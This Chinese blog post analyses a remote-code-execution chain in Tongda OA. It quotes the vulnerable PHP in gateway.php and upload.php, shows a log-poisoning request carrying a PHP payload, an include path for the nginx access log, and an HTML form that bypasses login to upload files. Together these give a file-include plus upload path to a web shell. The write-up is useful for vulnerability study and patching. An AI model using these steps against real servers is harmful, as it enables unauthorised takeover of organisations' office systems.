# 通达OA 最新RCE漏洞的简单分析

通达OA 最新RCE漏洞的简单分析

本文首发于I春秋

前言

最近工作比较忙,本来上周看到这个漏洞的时候就想学习一下,结果因为各种事,一直拖着,正好趁今天有点时间,来简单学习一下。楼主也是最近才学习PHP,所以肯定有很多不足之处。这篇文章既是分享,也是在督促自己学习。

漏洞点1,文件包含:

漏洞地址:/ispirit/interface/gateway.php

<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
//$P不为空的时候才进行登录状态的判断。如果不传递$P则可直接绕过这部分的判断。
if ($P != "") {
        if (preg_match("/[^a-z0-9;]+/i", $P)) {
                echo _("非法参数");
                exit();
        }

        session_id($P);
        session_start();
        session_write_close();
        if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
                echo _("RELOGIN");
                exit();
        }
}

if ($json) {
        $json = stripcslashes($json);//stripcslashes 删除数据中的反斜杠
        $json = (array) json_decode($json); //将传递的字符串转换为数组
        /*
        例子:
        $a = array('Tom','Mary','Peter','Jack');
        foreach ($a as $value) {
          echo $value."<br/>";
        }
        输出结果为:
        Tom
        Mary
        Peter
        Jack        
        而使用
        foreach ($a as $key => $value) {
          echo $key.','.$value."<br/>";
        }
        输出结果为:
        0,Tom
        1,Mary
        2,Peter
        3,Jack
        */
        foreach ($json as $key => $val ) { //遍历给定的 数组语句$json数组。每次循环中,同时当前单元的键名也会在每次循环中被赋给变量 $key
                if ($key == "data") {
                        $val = (array) $val;

                        foreach ($val as $keys => $value ) {
                                $keys = $value;
                        }
                }

                if ($key == "url") { //当传递过来的数组中,包含url这个关键值则将其赋值给url
                        $url = $val;
                }
        }

        if ($url != "") {
                if (substr($url, 0, 1) == "/") { 
                        $url = substr($url, 1);
      //这里截取url中的0,1字段,如果为/,则再次进行截断,从第二位开始截取之后的值
      //如$url = "/http://",这时满足if,最后url输出的值为http://
                }

                if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
                        include_once $url;
      /*
      strpos函数的作业是判断字符串中,是否含有某些字符串,而 !== false 这种判断是不严谨的,因为只要在URL中包含这些字符串就能绕过它的限制。
      这里可以看到,如果我们传递的URL中包含这些字符串,那么就能进入到include_once 这一步。(include 文件包含漏洞)
      */
                }
        }

        exit();
}

?>

总结

只有包含$P 才会进入到身份验证。并且传递的json数据中,需要有url这个关键值。最后value中需要包含general/,ispirit/,module/,才能进入到利用点。
到这里利用思路应该清晰了:
a. 包含日志
b. 远程文件包含,通过SMB或者webdav进行bypass
c. 包含上传文件

利用

1.包含日志,从通达OA的安装来看,其使用了Nginx,且开启了日志,那么我们访问的记录都会被记录到Nginx 的log日志中。(实测成功率不太高,可能是我姿势不够骚,不过是一种很好的思路)

访问
/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
然后通过如下url进行文件包含利用
/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log

2.远程文件包含,首先我们知道要满足远程文件包含,需要双ON的情况下才可以。那么,通达OA很明显是不满足的。之前看了篇文章,利用SMB匿名共享来绕过这个限制。

image

2.1 开启smb共享,参考(https://xz.aliyun.com/t/5139

image

image

2.2 远程包含,成功执行

image

2.3 webdav的同理,这里不做演示了。

漏洞点2,前台文件上传:

漏洞地址:ispirit/im/upload.php

<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
        ob_start();
        include_once "inc/session.php";
        session_id($P);
        session_start();
        session_write_close();
}
else {
        include_once "./auth.php";
}


include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
        $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
        if ($UPLOAD_MODE != 2) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }
}

$MODULE = "im";

if (1 <= count($_FILES)) {
        if ($UPLOAD_MODE == "1") {
                if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
                        $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
                }
        }

        $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

        if (!is_array($ATTACHMENTS)) {
                $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        ob_end_clean();
        $ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
        $ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

        if ($TYPE == "mobile") {
                $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
        }
}
else {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);

if (!$FILE_SIZE) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if ($UPLOAD_MODE == "1") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        $P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
        $MSG_CATE = $_POST["MSG_CATE"];

        if ($MSG_CATE == "file") {
                $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        }
        else if ($MSG_CATE == "image") {
                $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
        }
        else {
                $DURATION = intval($DURATION);
                $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        }

        $AID = 0;
        $POS = strpos($ATTACHMENT_ID, "@");

        if ($POS !== false) {
                $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
        }

        $query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
        echo json_encode(data2utf8($dataBack));
        exit();
}
else if ($UPLOAD_MODE == "2") {
        $DURATION = intval($_POST["DURATION"]);
        $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        $query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
        $cursor = exequery(TD::conn(), $query);
        echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        echo "+OK " . $ATTACHMENT_ID;
}
else {
        $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        $msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
        $query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                echo "-ERR " . _("数据库操作失败");
                exit();
        }

        if ($FILE_ID == 0) {
                echo "-ERR " . _("数据库操作失败2");
                exit();
        }

        echo "+OK ," . $FILE_ID . "," . $msg_id;
        exit();
}

?>

分析:

auth.php 为登录状态判断的页面
接收POST传递的参数P,如果P不为空,就不会进入到登录状态判断。
所以,我们只要在POST参数中传递$P为任意值就能绕过限制

image

这里我们写个上传页面来测试一下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<h1>hello worlds</h1>
<form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
                <p><input type="hidden" name="P"></p>
    <p><input type="file" name="upload"></p>
    <p><input type="submit" value="submit"></p>
</form>

</body>
</html>

然后抓包查看一下,提示接收方ID无效

image

这个时候,我们在看下代码,代码中需要POST传递两个参数 TYPE(type这个从上下文中看,并不关键) 和 DEST_UID,而且当DEST_UID = 0的时候,UPLOAD_MODE必须为2,否则也会提示无效。

image

我们接着往下看代码,从这里得知,我们上传文件的时候,应该讲file的name设置ATTACHMENT,否则也会上传失败。

image

那么这个时候,我们抓包修改一下参数,就实现了前台文件上传。

image

这个时候,我们全局搜索一下上传的文件,发现在attach/im/2003中,这里上图的返回值中也能看出来,2003代表目录,866代表文件名

image

总结

其实前台上传并没有太多难点,而之所以它在这里算做一个漏洞,是因为配合了文件包含漏洞,通过文件包含解析上传文件中的PHP代码而形成一个完整的攻击链

利用

到这里这次两个漏洞的利用链就完整起来了。通过前台文件上传+文件包含实现getshell。

image
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352

推荐阅读更多精彩内容

  • http://tieba.baidu.com/p/2310282657 什么是”远程文件包含漏洞”?服务器通过ph...
    查无此人asdasd阅读 2,017评论 0 2
  • 什么是文件上传漏洞? 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其...
    Smi1e_阅读 24,722评论 0 24
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,725评论 0 10
  • 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直...
    付出从未后悔阅读 1,134评论 0 4
  • 原文地址:https://xz.aliyun.com/t/6357 1. 文件上传漏洞 1.1 漏洞简介 ​ 文件...
    这是什么娃哈哈阅读 1,689评论 0 0